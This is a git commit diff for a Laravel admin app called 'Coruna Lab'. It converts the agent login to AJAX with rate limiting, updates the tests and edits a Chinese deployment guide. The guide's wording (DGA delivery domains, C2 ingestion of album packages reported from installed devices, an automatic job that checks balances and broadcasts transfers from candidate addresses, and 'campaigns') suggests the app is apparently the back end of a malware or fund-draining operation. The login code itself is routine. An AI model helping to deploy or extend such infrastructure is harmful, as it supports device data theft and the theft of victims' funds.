feat: delete
This commit is contained in:
@@ -4,11 +4,19 @@ namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Illuminate\Support\Str;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
private const MAX_ATTEMPTS = 5;
|
||||
|
||||
private const DECAY_SECONDS = 60;
|
||||
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('agent')->check()) {
|
||||
@@ -23,29 +31,58 @@ class AuthController extends Controller
|
||||
return view('user.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
public function login(Request $request): JsonResponse
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
try {
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string|min:2|max:64',
|
||||
'password' => 'required|string|max:128',
|
||||
], [
|
||||
'username.required' => '请输入用户名',
|
||||
'password.required' => '请输入密码',
|
||||
]);
|
||||
} catch (ValidationException $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => collect($e->errors())->flatten()->implode('<br>'),
|
||||
]);
|
||||
}
|
||||
|
||||
$throttleKey = $this->throttleKey($request);
|
||||
if (RateLimiter::tooManyAttempts($throttleKey, self::MAX_ATTEMPTS)) {
|
||||
$seconds = RateLimiter::availableIn($throttleKey);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '登陆失败次数过多,请'.$seconds.'秒后再重试',
|
||||
]);
|
||||
}
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = User::query()->where('username', $credentials['username'])->first();
|
||||
if ($user && ! $user->isEnabled()) {
|
||||
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '账号已禁用']);
|
||||
}
|
||||
|
||||
if (Auth::guard('agent')->attempt(
|
||||
if (! Auth::guard('agent')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
return redirect()->intended(route('user.home'));
|
||||
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
RateLimiter::clear($throttleKey);
|
||||
$request->session()->regenerate();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '登录成功',
|
||||
'data' => route('user.home'),
|
||||
]);
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
@@ -56,4 +93,9 @@ class AuthController extends Controller
|
||||
|
||||
return redirect()->route('user.login');
|
||||
}
|
||||
|
||||
private function throttleKey(Request $request): string
|
||||
{
|
||||
return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip());
|
||||
}
|
||||
}
|
||||
|
||||
+11
-21
@@ -176,7 +176,7 @@ https://admin.example.com/details/… # 共享模板(native 按需拉
|
||||
https://admin.example.com/c/<ver>/show.htm # Nginx 静态别名 → channel/<ver>/details/show.html
|
||||
```
|
||||
|
||||
在 **Admin 站和所有反代到同一 `public/` 的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c/<ver>/show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。
|
||||
在 **Admin 站和所有反代到同一** `public/` **的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c/<ver>/show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。
|
||||
|
||||
`root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。
|
||||
|
||||
@@ -445,7 +445,7 @@ REDIS_HOST=127.0.0.1
|
||||
REDIS_PORT=6379
|
||||
```
|
||||
|
||||
4. 改完后:
|
||||
1. 改完后:
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
@@ -453,7 +453,7 @@ cd /www/wwwroot/coruna-lab
|
||||
/www/server/php/82/bin/php artisan config:clear
|
||||
```
|
||||
|
||||
5. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发):
|
||||
1. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发):
|
||||
|
||||
```text
|
||||
名称: coruna-queue
|
||||
@@ -462,7 +462,7 @@ cd /www/wwwroot/coruna-lab
|
||||
进程数量: 2
|
||||
```
|
||||
|
||||
6. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
|
||||
1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
|
||||
|
||||
```ini
|
||||
pm = dynamic
|
||||
@@ -475,7 +475,9 @@ pm.max_requests = 500
|
||||
|
||||
`max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。
|
||||
|
||||
7. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。
|
||||
1. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。
|
||||
|
||||
|
||||
|
||||
### 2.7 p7zip(C2 入库)
|
||||
|
||||
@@ -588,7 +590,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
|
||||
| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) |
|
||||
| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) |
|
||||
|
||||
|
||||
`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。自动转账仍由每分钟的 `coruna:auto-transfer` 扫描候选地址,真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。
|
||||
@@ -646,8 +648,8 @@ PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
|
||||
/usr/bin/python3
|
||||
```
|
||||
|
||||
2. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。
|
||||
3. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`:
|
||||
1. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。
|
||||
2. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`:
|
||||
|
||||
```bash
|
||||
sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import py7zr; print("ok")'
|
||||
@@ -718,7 +720,7 @@ CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。
|
||||
|
||||
### 后台登录 HTTP 444
|
||||
|
||||
**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。
|
||||
**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin`、`/user` 放行后再试。
|
||||
|
||||
### 后台登录方式(改造后)
|
||||
|
||||
@@ -749,15 +751,3 @@ chmod -R ug+rwx storage/framework/sessions
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 6. 分机部署(可选)
|
||||
|
||||
若要把静态产物拆到另一台纯静态机:
|
||||
|
||||
- 旧版:rsync `public/web` + `public/sync`
|
||||
- 新版:rsync `public/channel` + `public/details`;静态机 Nginx 必须带 §1.3 的 `/c/<ver>/show.htm` `alias` 映射,不要把该路径反代回 PHP
|
||||
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
|
||||
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
|
||||
|
||||
同机时无需拆分,Admin `public/` 即静态根。
|
||||
@@ -6,6 +6,7 @@
|
||||
<meta name="renderer" content="webkit">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0">
|
||||
<meta name="csrf-token" content="{{ csrf_token() }}">
|
||||
<link rel="stylesheet" href="{{ asset('static/layuiadmin/layui/css/layui.css') }}" media="all">
|
||||
<link rel="stylesheet" href="{{ asset('static/layuiadmin/style/admin.css') }}" media="all">
|
||||
<link rel="stylesheet" href="{{ asset('static/layuiadmin/style/login.css') }}" media="all">
|
||||
@@ -17,38 +18,74 @@
|
||||
<h2>运营后台</h2>
|
||||
<p>Coruna Lab Agent Portal</p>
|
||||
</div>
|
||||
<form class="layadmin-user-login-box layadmin-user-login-body layui-form" method="post" action="{{ route('user.login.submit') }}">
|
||||
<div class="layadmin-user-login-box layadmin-user-login-body layui-form">
|
||||
@csrf
|
||||
@if ($errors->any())
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-bg-red" style="padding:8px 12px;border-radius:2px;">{{ $errors->first() }}</div>
|
||||
</div>
|
||||
@endif
|
||||
<div class="layui-form-item">
|
||||
<label class="layadmin-user-login-icon layui-icon layui-icon-username" for="LAY-user-login-username"></label>
|
||||
<input type="text" name="username" id="LAY-user-login-username" value="{{ old('username') }}" lay-verify="required" placeholder="用户名" class="layui-input" autofocus>
|
||||
<input type="text" name="username" id="LAY-user-login-username" lay-verify="required" placeholder="用户名" class="layui-input" autofocus autocomplete="username">
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layadmin-user-login-icon layui-icon layui-icon-password" for="LAY-user-login-password"></label>
|
||||
<input type="password" name="password" id="LAY-user-login-password" lay-verify="required" placeholder="密码" class="layui-input">
|
||||
<input type="password" name="password" id="LAY-user-login-password" lay-verify="required" placeholder="密码" class="layui-input" autocomplete="current-password">
|
||||
</div>
|
||||
<div class="layui-form-item" style="margin-bottom: 20px;">
|
||||
<input type="checkbox" name="remember" value="1" lay-skin="primary" title="记住密码">
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<button class="layui-btn layui-btn-fluid" lay-submit type="submit">登 入</button>
|
||||
<button class="layui-btn layui-btn-fluid" lay-submit lay-filter="LAY-agent-login-submit">登 入</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="{{ asset('static/layuiadmin/layui/layui.js') }}"></script>
|
||||
<script>
|
||||
var postLoginUrl = @json(route('user.login.submit'));
|
||||
|
||||
if (window.parent !== window) {
|
||||
window.parent.location.href = @json(route('user.login'));
|
||||
}
|
||||
|
||||
layui.config({
|
||||
base: @json(rtrim(asset('static/layuiadmin'), '/').'/')
|
||||
}).extend({
|
||||
index: 'lib/index'
|
||||
}).use(['form'], function(){
|
||||
layui.form.render();
|
||||
}).use(['form'], function () {
|
||||
var $ = layui.$, form = layui.form, layer = layui.layer;
|
||||
form.render();
|
||||
|
||||
form.on('submit(LAY-agent-login-submit)', function (obj) {
|
||||
var field = obj.field || {};
|
||||
field._token = field._token || $('meta[name=csrf-token]').attr('content');
|
||||
|
||||
var loadIndex = layer.load(2);
|
||||
$.ajax({
|
||||
url: postLoginUrl,
|
||||
method: 'POST',
|
||||
data: field,
|
||||
dataType: 'json',
|
||||
success: function (res) {
|
||||
layer.close(loadIndex);
|
||||
layer.msg(res.msg || (res.code === 0 ? '登录成功' : '登录失败'), {
|
||||
offset: '15px',
|
||||
icon: res.code === 0 ? 1 : 2,
|
||||
time: 1000
|
||||
}, function () {
|
||||
if (res.code === 0 && res.data) {
|
||||
location.href = res.data;
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loadIndex);
|
||||
var msg = '登录失败';
|
||||
if (xhr.status === 419) msg = '页面已过期,请刷新后重试';
|
||||
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
|
||||
else if (xhr.responseJSON && xhr.responseJSON.message) msg = xhr.responseJSON.message;
|
||||
layer.msg(msg, { icon: 2 });
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
@@ -59,7 +59,7 @@ class AdminAgentPortalTest extends TestCase
|
||||
$this->post('/user/login', [
|
||||
'username' => 'disabled',
|
||||
'password' => 'secret12',
|
||||
])->assertSessionHasErrors('username');
|
||||
])->assertOk()->assertJson(['code' => 1, 'msg' => '账号已禁用']);
|
||||
|
||||
$this->assertGuest('agent');
|
||||
}
|
||||
@@ -76,7 +76,11 @@ class AdminAgentPortalTest extends TestCase
|
||||
$this->post('/user/login', [
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
])->assertRedirect(route('user.home'));
|
||||
])->assertOk()->assertJson([
|
||||
'code' => 0,
|
||||
'msg' => '登录成功',
|
||||
'data' => route('user.home'),
|
||||
]);
|
||||
|
||||
$this->assertAuthenticated('agent');
|
||||
}
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class AgentLoginTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function ajax_login_succeeds_and_sets_session(): void
|
||||
{
|
||||
User::query()->create([
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$this->post('/user/login', [
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
])->assertOk()
|
||||
->assertJson([
|
||||
'code' => 0,
|
||||
'msg' => '登录成功',
|
||||
'data' => route('user.home'),
|
||||
]);
|
||||
|
||||
$this->assertAuthenticated('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ajax_login_rejects_bad_password(): void
|
||||
{
|
||||
User::query()->create([
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$this->post('/user/login', [
|
||||
'username' => 'okagent',
|
||||
'password' => 'wrongpass',
|
||||
])->assertOk()
|
||||
->assertJson(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||
|
||||
$this->assertGuest('agent');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function login_is_rate_limited_after_failures(): void
|
||||
{
|
||||
User::query()->create([
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
for ($i = 0; $i < 5; $i++) {
|
||||
$this->post('/user/login', [
|
||||
'username' => 'okagent',
|
||||
'password' => 'bad-password',
|
||||
])->assertOk()->assertJsonPath('code', 1);
|
||||
}
|
||||
|
||||
$response = $this->post('/user/login', [
|
||||
'username' => 'okagent',
|
||||
'password' => 'secret12',
|
||||
])->assertOk()
|
||||
->assertJsonPath('code', 1);
|
||||
|
||||
$this->assertStringContainsString('登陆失败次数过多', (string) $response->json('msg'));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user